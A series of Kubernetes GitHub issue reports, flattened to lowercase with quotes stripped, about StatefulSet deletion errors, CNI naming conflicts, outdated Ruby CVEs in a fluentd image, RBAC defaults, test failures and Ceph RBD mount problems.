 current   age\r 111                     2         0         14m\r 222                     2         0         9m\r   kubectl get statefulsets 222 -o yaml\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   creationtimestamp: 2017-06-09t08:56:13z\r   deletiongraceperiodseconds: 0\r   deletiontimestamp: 2017-06-09t09:00:55z\r   finalizers:\r   - orphan\r   generation: 2\r   labels:\r     app: \ 222\ \r   name: \ 222\ \r   namespace: default\r   resourceversion: \ 37772\ \r   selflink: /apis/apps/v1beta1/namespaces/default/statefulsets/222\r   uid: 7d8fac7f-4cf1-11e7-8011-fa163e09afbd\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       app: \ 222\ \r   servicename: sdf\r   template:\r     metadata:\r       annotations:\r         pod.alpha.kubernetes.io/initialized: \ true\ \r       creationtimestamp: null\r       labels:\r         app: \ 222\ \r     spec:\r       containers:\r       - imagepullpolicy: ifnotpresent\r         name: \ \ \r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r status:\r   observedgeneration: 2\r   replicas: 0\r    \r \r then i want to delete this fault statefulset\r \r use  kubectl \r    \r   kubectl delete statefulset 222\r error: scaling the resource failed with: statefulset.apps \ 222\  is invalid: spec.template.containers 0 .image: required value; current resource version 37772\r    \r \r use api\r    \r   curl -vvv --request delete http://127.0.0.1:8888/apis/apps/v1beta1/namespaces/default/statefulsets/222\r     trying 127.0.0.1...\r   connected to 127.0.0.1  127.0.0.1  port 8888   0 \r > delete /apis/apps/v1beta1/namespaces/default/statefulsets/222 http/1.1\r > host: 127.0.0.1:8888\r > user-agent: curl/7.47.0\r > accept:  / \r >\r < http/1.1 200 ok\r < content-type: application/json\r < date: fri, 09 jun 2017 09:14:50 gmt\r < content-length: 1446\r <\r {\r   \ kind\ : \ statefulset\ ,\r   \ apiversion\ : \ apps/v1beta1\ ,\r   \ metadata\ : {\r     \ name\ : \ 222\ ,\r     \ namespace\ : \ default\ ,\r     \ selflink\ : \ /apis/apps/v1beta1/namespaces/default/statefulsets/222\ ,\r     \ uid\ : \ 7d8fac7f-4cf1-11e7-8011-fa163e09afbd\ ,\r     \ resourceversion\ : \ 39081\ ,\r     \ generation\ : 2,\r     \ creationtimestamp\ : \ 2017-06-09t08:56:13z\ ,\r     \ deletiontimestamp\ : \ 2017-06-09t09:14:50z\ ,\r     \ deletiongraceperiodseconds\ : 0,\r     \ labels\ : {\r       \ app\ : \ 222\ \r     },\r     \ finalizers\ :  \r       \ orphan\ \r      \r   },\r   \ spec\ : {\r     \ replicas\ : 2,\r     \ selector\ : {\r       \ matchlabels\ : {\r         \ app\ : \ 222\ \r       }\r     },\r     \ template\ : {\r       \ metadata\ : {\r         \ creationtimestamp\ : null,\r         \ labels\ : {\r           \ app\ : \ 222\ \r         },\r         \ annotations\ : {\r           \ pod.alpha.kubernetes.io/initialized\ : \ true\ \r         }\r       },\r       \ spec\ : {\r         \ containers\ :  \r           {\r             \ name\ : \ \ ,\r             \ resources\ : {},\r             \ terminationmessagepath\ : \ /dev/termination-log\ ,\r             \ terminationmessagepolicy\ : \ file\ ,\r             \ imagepullpolicy\ : \ ifnotpresent\ \r           }\r          ,\r         \ restartpolicy\ : \ always\ ,\r         \ terminationgraceperiodseconds\ : 30,\r         \ dnspolicy\ : \ clusterfirst\ ,\r         \ securitycontext\ : {},\r         \ schedulername\ : \ default-scheduler\ \r       }\r     },\r     \ servicename\ : \ sdf\ \r   },\r   \ status\ : {\r     \ observedgeneration\ : 2,\r     \ replicas\ : 0\r   }\r   connection  0 to host 127.0.0.1 left intact\r }\r    \r \r check again\r    \r   kubectl get statefulsets\r name                    desired   current   age\r 111                     2         0         23m\r 222                     2         0         19m\r    \r \r   what you expected to happen  :\r 1. statefulset without image shall not be created.\r 2. user should always be able to delete a fault statefulset.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

currently \r \r    \r kubectl top no\r    \r doesn't work when using hpa without heapster, there's some files to change under  utilmetrics/  \r \r we might want this for 1.10\r \r /assign\r 

    what happened  :\r    diff\r --- a/pkg/kubelet/network/kubenet/kubenet_linux.go\r +++ b/pkg/kubelet/network/kubenet/kubenet_linux.go\r @@ -550,6 +550,11 @@ func  plugin  kubenetnetworkplugin  setuppod namespace string, name string, id k\r \r +                       v1pod, ok := plugin.host.getpodbyname namespace, name \r +\r +                       if ok && v1pod != nil {\r +                               glog.infof \ %v\ \ , v1pod.objectmeta.annotations \r +                       }\r \r    \r \r   what you expected to happen  :\r \r i want get annotations by call  plugin.host.getpodbyname namespace, name  .\r \r  v1.8.7: \r  v1pod  awalys is  nil  so that i can't get annotations .\r \r  v1.4.6: \r i can get the  annotations of pod from call  plugin.host.getpodbyname namespace, name  \r \r i want to update pod annotations when pod creating.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r kubelet passes pod informations k8s_pod_namespace, k8s_pod_name  to cni network plugin.\r  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/network/cni/cni.go l286,l325 \r and the plugins use that informations to register pod.\r generally pod name is randomly generated.\r but when the pod name is specified  statefulesets  and the pod is created as soon as the pod is deleted with same name, the plugin registers same name pod before previous pod is deleted in registry.\r it causes pod registration conflict.\r so if kubelet passes pod uid and the plugins use it,  this issue will not be occurred.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r  k8s.gcr.io/fluentd-elasticsearch:v2.3.2  uses  ruby 2.3.3p222  which is vulnerable for  cve-2017-17405  https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/ ,  cve-2018-8780  https://www.ruby-lang.org/en/news/2018/03/28/poisoned-nul-byte-dir-cve-2018-8780/ ,  cve-2018-16395  https://www.ruby-lang.org/en/news/2018/10/17/openssl-x509-name-equality-check-does-not-work-correctly-cve-2018-16395/ . can we update the ruby version to >= 2.3.8?\r \r   why is this needed  :\r \r \r <!-- do not edit below this line -->\r 

when trying to bash complete  kubectl config use-context  the completions offered are file/directory completions, which are not relevant to the command. instead it should offer completions from the available kubectl contexts.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/510/  failed:  k8s.io  kubectl client  k8s.io  kubectl expose should create services for rc  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:812 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.154.186.54 --kubeconfig=/workspace/.kube/config logs redis-master-6e9yb redis-master --namespace=e2e-tests-kubectl-k4c3z      <nil>  error from server  internalerror : an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods redis-master-6e9yb \     <nil> 0xc420694510 exit status 1 <nil> <nil> true  0xc420326808 0xc4203268d8 0xc420326930   0xc420326808 0xc4203268d8 0xc420326930   0xc420326840 0xc420326920   0xc1cb10 0xc1cb10  0xc420f1c840 <nil>}:\ command stdout:\ \ stderr:\ error from server  internalerror : an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods redis-master-6e9yb \ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.154.186.54 --kubeconfig=/workspace/.kube/config logs redis-master-6e9yb redis-master --namespace=e2e-tests-kubectl-k4c3z      <nil>  error from server  internalerror : an error on the server  \ unknown\   has prevented the request from succeeding  get pods redis-master-6e9yb          <nil> 0xc420694510 exit status 1 <nil> <nil> true  0xc420326808 0xc4203268d8 0xc420326930   0xc420326808 0xc4203268d8 0xc420326930   0xc420326840 0xc420326920   0xc1cb10 0xc1cb10  0xc420f1c840 <nil>}:     command stdout:          stderr:     error from server  internalerror : an error on the server  \ unknown\   has prevented the request from succeeding  get pods redis-master-6e9yb           error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2069       previous issues for this test:  26209  29227  32132

https://github.com/kubernetes/kubernetes/pull/39059 is a short term mitigation to:     \r \r 1. lack of proper disk accounting on node\r 2. kube-proxy running as a static pod instead of a daemonset\r 3. the kubelet not restarting pods that are in failed/evicted, on assumption that some other controller will recreate them\r \r these 3 events conspire to permanently evict kube-proxy when a user pod  that writes to  local  fs  not volumes, i.e generate a large top-level aufs image layer  fills disk, resulting in a pretty serious form of  and a trivial dos vector. \r \r https://github.com/kubernetes/kubernetes/pull/39059 is motivated by an assumption that static-pods are well behaved pods placed on the node by an admin. obviously this is not always true. we should spend the time required to design a fix for the other issues, and go back to evicting static pods in 1.6. \r \r we can't reuse the \ critical-pod\   annotation for 2 reasons:     \r 1. we want it to mean \ de-prioritize\  eviction, not \ never do it\   https://github.com/kubernetes/kubernetes/pull/38914 \r 2. because of improper disk accounting, we actually appear to evict a pod every 10s, killing everything on the node before disk pressure alleviates 5-10m later, so reordering what gets killed isn't going to help\r 3. it would grandfather in a bunch of other pods like kube-ui and dns. nb even though we use \ critical-pod\  to admit pods under memory pressure, all the gradfathered pods have memory limits. \r \r @kubernetes/sig-node-misc  @kubernetes/sig-network-misc

https://github.com/kubernetes/kubernetes/pull/38547\r \r investigate for the following volume plugins if they can be refactored to use volumeutil.unmountpath  \r \r azure_dd\r cinder\r configmap\r downward_api\r empty_dir\r fc\r flex_volume\r git_repo\r iscsi\r rbd\r secret\r \r

rbac is enabled by default in the following cluster up scripts:\r \r https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/gci/configure-helper.sh\r \r https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/container-linux/configure-helper.sh\r \r this issue tracks the follow-up items from https://github.com/kubernetes/kubernetes/pull/39537 ensuring these scripts work for both new and existing clusters, for production and e2e use-cases\r \r 1.6 work:\r -  x  change cluster/gce/upgrade.sh to detect a legacy abac policy file and populate populate abac_authz_file by default - https://github.com/kubernetes/kubernetes/pull/40172\r -  x  make bootstrap superuser kubecfg certificate be in the system:masters group https://github.com/kubernetes/kubernetes/pull/39966\r -  x  document how to replicate relaxed permissions with rbac  e.g.  kubectl create clusterrolebinding my-binding --clusterrole=cluster-admin --user=admin --user=kubelet --user=controller-manager --group=system:serviceaccounts  \r \r 1.7 work:\r -  x  only load e2e role-bindings for e2e tests, not all kube-up or upgrade scenarios\r \r - gke work  @cjcullen \r   -  x  ~~in new clusters, include system:nodes group in new bootstrap \ kubelet\  certificate~~ obsoleted by the node bootstrap flow\r   -  x  in upgraded clusters, include legacy abac policy for upgraded clusters\r   -  x  ~~in all clusters, bind cluster-admin role to intended superuser~~ obsoleted by the joint gke webhook authorizer\r

we need an api server image we can use to create a pod and run in e2e tests.\r \r the  kube-apiserver  now hosts the aggregator in front.  we are capable of running e2e tests on it, but we need an image to test with.  as a simple starting point, we could use the  wardle  group hosted by the  k8s.io/sample-apiserver , but we need an image published to use it.\r \r @cheftako @kubernetes/sig-api-machinery-misc

i don't quite understand the difference between taints and labels in k8s. for example: the kubeadm says:\r \r > \r > by default, your cluster will not schedule pods on the master for security reasons. if you want to be able to schedule pods on the master, e.g. a single-machine kubernetes cluster for development, run:\r > kubectl taint nodes --all node-role.kubernetes.io/master-\r > \r \r however, when i do a \ kubectl describe node <master>\ , i don't see that taint\r \r \r > labels:                 beta.kubernetes.io/arch=amd64\r >                        beta.kubernetes.io/os=linux\r >                        kubernetes.io/hostname=dev-kubeadm-002\r >                        node-role.kubernetes.io/master=\r \r \r so taints is the same as labels, or not? \r \r this is the default master node setup by kubeadm btw, running 1.6.1\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r \r  root@node-21 efk   kubectl logs -f fluentd-es-jrsf7 -n kube-system\r /var/lib/gems/2.1.0/gems/ffi-1.9.18/lib/ffi/library.rb:147:in  block in ffi_lib': could not open library 'libsystemd.so.0': libgcrypt.so.11: cannot open shared object file: no such file or directory.  loaderror \r could not open library 'libsystemd.so': libsystemd.so: cannot open shared object file: no such file or directory.\r could not open library 'libsystemd-id128.so.0': libdw.so.1: cannot open shared object file: no such file or directory.\r could not open library 'libsystemd-id128.so': libsystemd-id128.so: cannot open shared object file: no such file or directory\r \tfrom /var/lib/gems/2.1.0/gems/ffi-1.9.18/lib/ffi/library.rb:100:in  map'\r \tfrom /var/lib/gems/2.1.0/gems/ffi-1.9.18/lib/ffi/library.rb:100:in  ffi_lib'\r \tfrom /var/lib/gems/2.1.0/gems/systemd-journal-1.2.3/lib/systemd/id128.rb:48:in  <module:native>'\r \tfrom /var/lib/gems/2.1.0/gems/systemd-journal-1.2.3/lib/systemd/id128.rb:45:in  <module:id128>'\r \tfrom /var/lib/gems/2.1.0/gems/systemd-journal-1.2.3/lib/systemd/id128.rb:6:in  <module:systemd>'\r \tfrom /var/lib/gems/2.1.0/gems/systemd-journal-1.2.3/lib/systemd/id128.rb:3:in  <top  required >'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in  require'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in  require'\r \tfrom /var/lib/gems/2.1.0/gems/systemd-journal-1.2.3/lib/systemd/journal/native.rb:1:in  <top  required >'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in  require'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in  require'\r \tfrom /var/lib/gems/2.1.0/gems/systemd-journal-1.2.3/lib/systemd/journal.rb:2:in  <top  required >'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:135:in  require'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:135:in  rescue in require'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:144:in  require'\r \tfrom /var/lib/gems/2.1.0/gems/fluent-plugin-systemd-0.0.8/lib/fluent/plugin/in_systemd.rb:1:in  <top  required >'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in  require'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in  require'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/plugin.rb:172:in  block in try_load_plugin'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/plugin.rb:170:in  each'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/plugin.rb:170:in  try_load_plugin'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/plugin.rb:130:in  new_impl'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/plugin.rb:55:in  new_input'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/root_agent.rb:154:in  add_source'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/root_agent.rb:95:in  block in configure'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/root_agent.rb:92:in  each'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/root_agent.rb:92:in  configure'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/engine.rb:129:in  configure'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/engine.rb:103:in  run_configure'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/supervisor.rb:489:in  run_configure'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/supervisor.rb:174:in  block in start'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/supervisor.rb:366:in  call'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/supervisor.rb:366:in  main_process'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/supervisor.rb:170:in  start'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/lib/fluent/command/fluentd.rb:173:in  <top  required >'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:73:in  require'\r \tfrom /usr/lib/ruby/2.1.0/rubygems/core_ext/kernel_require.rb:73:in  require'\r \tfrom /var/lib/gems/2.1.0/gems/fluentd-0.12.39/bin/fluentd:5:in  <top  required >'\r \tfrom /usr/local/bin/fluentd:23:in  load'\r \tfrom /usr/local/bin/fluentd:23:in  <main>'\r \r   what you expected to happen  :\r fluentd-es run success\r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create -f fluentd-es-ds.yaml\r \r the image is google-containers/fluentd-elasticsearch:v2.0.0\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :centos 7.3\r - kernel  e.g.  uname -a  :linux node-21.46 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r @crassirostris

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r currently, only restart=always is allowed for daemonset\r \r   what you expected to happen  :\r run once dasemonset is also vey useful, for example, install cni or flexvolume binaries on every node.\r \r exit status can be used to determine its lifecycle. it's like a job daemonset. but i am not sure if we should introduce a new api object or refactoring daemonset is enough.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r testapps always failed\r \r   anything else we need to know?  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49610/pull-kubernetes-unit/48887/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50889/pull-kubernetes-unit/48881/\r \r 

failure cluster  7494e24d94a92b84dbc1  https://go.k8s.io/triage 7494e24d94a92b84dbc1        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:123 expected error:     < errors.errorstring | 0xc4207bead0>: {         s: \ couldn't find -1 nodes within 5m0s; last error: expected to find -1 nodes but found only 3  5m0.009173471s elapsed \ ,     }     couldn't find -1 nodes within 5m0s; last error: expected to find -1 nodes but found only 3  5m0.009173471s elapsed  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:110           failure cluster statistics: 2 tests failed,    30 jobs failed,    145 builds failed. failure stats cover 1 day time range '6 sep 2017 16:25 utc' to '7 sep 2017 16:25 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  | 24 | |  sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  | 6 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster | 9 |  7 sep 2017 14:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster/868  | | ci-kubernetes-e2e-gke-gci-1-6-gci-1-7-upgrade-cluster | 9 |  7 sep 2017 15:15 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-6-gci-1-7-upgrade-cluster/902  | | ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster-new | 9 |  7 sep 2017 13:42 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster-new/882  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | luxas |  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade ;  sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  | | sig/cluster-lifecycle |  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade ;  sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  |  </details><br>   current status  https://go.k8s.io/triage 7494e24d94a92b84dbc1

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /assign\r \r   what happened  :\r in order to support the  local volume naming requirements  https://github.com/kubernetes/kubernetes/issues/51431 , we need to add a new option to gce deployment that will format local ssds with unique uid names.  in addition, this new option will help us test raw block volumes in the future.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r in gce env, aesgcm encryption of secrets by default generates a secret key with /dev/random instead of /dev/urandom\r   what you expected to happen  :\r on running cluster/kube-up.sh in gce provider should create and initialize a cluster without any issue. however, i am seeing below error - \r \r error: error while parsing encryption provider configuration file \ /etc/srv/kubernetes/encryption-provider-config.yml\ : error while creating cipher for named key key1: crypto/aes: invalid key size 8\r \r this happens because sometime, /dev/random generates a key with smaller size than 32-byte. replacing it with /dev/urandom fixes the issue as it consistently generates 32-byte secret key.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. setup kubernetes on ubuntu xenial  16.04 . \r 2. make quick-release\r 3. kick-off cluster/kube-up.sh with provider=gce\r \r   anything else we need to know?  :\r no\r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-alpha.1.41+c2536e2b0d6be6-dirty\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux scspa0509399001 4.4.0-122-generic  146-ubuntu smp mon apr 23 15:34:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: gce-sdk\r - others:\r

ceph version: luminous\r kubernetes:1.9.0\r node 192.168.8.191  192.168.8.192 192.168.8.193\r problem reproduce:\r - 1 create storageclass,pvc and pv with readonlymany\r - 2 create deployment with replicaset 3,each pod is scheduled to different nodes\r - 3 watch if the 3 pods works correctly\r \r pvc and pv info\r    \r  root@191 ~ $ kubectl get pvc\r name            status    volume                                     capacity   access modes   storageclass   age\r readonly        bound     pvc-cb8f0ffd-a0fc-11e8-bbc9-005056b05298   3gi        rox            rbd1           14m\r  root@191 ~ $ kubectl get pv\r name                                       capacity   access modes   reclaim policy   status    claim                   storageclass   reason    age\r pvc-cb8f0ffd-a0fc-11e8-bbc9-005056b05298   3gi        rox            delete           bound     default/readonly        rbd1                     14m\r    \r \r    \r readonly-jfadmin-kubernetes-5d489bd456-65cwb   0/1       containercreating   0          4m        <none>           192.168.8.193\r readonly-jfadmin-kubernetes-5d489bd456-ng7p2   0/1       containercreating   0          4m        <none>           192.168.8.192\r readonly-jfadmin-kubernetes-7cd848c7-2gnqt     1/1       running             0          5m        172.20.104.7     192.168.8.191\r    \r the image info in node of  192.168.8.191\r    \r  root@191 ~   rbd showmapped\r id pool  image                                                       snap device    \r 0  kube1 kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1 -    /dev/rbd0 \r    \r \r \r error log in node of 192.168.8.192,similar to 193\r    \r aug 16 10:44:29 localhost kubelet: i0816 10:44:29.677281   16197 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-cb8f0ffd-a0fc-11e8-bbc9-005056b05298\   uniquename: \ kubernetes.io/rbd/ 192.168.8.176:6789 192.168.8.177:6789 192.168.8.178:6789 :kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1\   pod \ readonly-jfadmin-kubernetes-5d489bd456-ng7p2\   uid: \ 03752d1b-a0fe-11e8-8e14-005056b02ce1\  \r aug 16 10:44:29 localhost kubelet: i0816 10:44:29.680587   16197 operation_generator.go:1111  controller attach succeeded for volume \ pvc-cb8f0ffd-a0fc-11e8-bbc9-005056b05298\   uniquename: \ kubernetes.io/rbd/ 192.168.8.176:6789 192.168.8.177:6789 192.168.8.178:6789 :kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1\   pod \ readonly-jfadmin-kubernetes-5d489bd456-ng7p2\   uid: \ 03752d1b-a0fe-11e8-8e14-005056b02ce1\   device path: \ \ \r aug 16 10:44:29 localhost kubelet: i0816 10:44:29.781288   16197 reconciler.go:262  operationexecutor.mountvolume started for volume \ pvc-cb8f0ffd-a0fc-11e8-bbc9-005056b05298\   uniquename: \ kubernetes.io/rbd/ 192.168.8.176:6789 192.168.8.177:6789 192.168.8.178:6789 :kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1\   pod \ readonly-jfadmin-kubernetes-5d489bd456-ng7p2\   uid: \ 03752d1b-a0fe-11e8-8e14-005056b02ce1\  \r aug 16 10:44:29 localhost kubelet: i0816 10:44:29.781343   16197 operation_generator.go:446  mountvolume.waitforattach entering for volume \ pvc-cb8f0ffd-a0fc-11e8-bbc9-005056b05298\   uniquename: \ kubernetes.io/rbd/ 192.168.8.176:6789 192.168.8.177:6789 192.168.8.178:6789 :kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1\   pod \ readonly-jfadmin-kubernetes-5d489bd456-ng7p2\   uid: \ 03752d1b-a0fe-11e8-8e14-005056b02ce1\   devicepath \ \ \r aug 16 10:44:29 localhost kubelet: i0816 10:44:29.900621   16197 rbd_util.go:273  rbd image kube1/kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1 is still being used\r aug 16 10:44:29 localhost kubelet: e0816 10:44:29.900728   16197 nestedpendingoperations.go:263  operation for \ \\\ kubernetes.io/rbd/ 192.168.8.176:6789 192.168.8.177:6789 192.168.8.178:6789 :kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1\\\ \  failed. no retries permitted until 2018-08-16 10:44:30.400679161 +0800 cst m=+83053.097308489  durationbeforeretry 500ms . error: \ mountvolume.waitforattach failed for volume \\\ pvc-cb8f0ffd-a0fc-11e8-bbc9-005056b05298\\\   uniquename: \\\ kubernetes.io/rbd/ 192.168.8.176:6789 192.168.8.177:6789 192.168.8.178:6789 :kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1\\\   pod \\\ readonly-jfadmin-kubernetes-5d489bd456-ng7p2\\\   uid: \\\ 03752d1b-a0fe-11e8-8e14-005056b02ce1\\\   : rbd image kube1/kubernetes-dynamic-pvc-cb910d28-a0fc-11e8-b194-005056b02ce1 is still being used. rbd output: watchers:\ \\twatcher=192.168.8.191:0/1741855290 client.8766 cookie=4\ \ \r

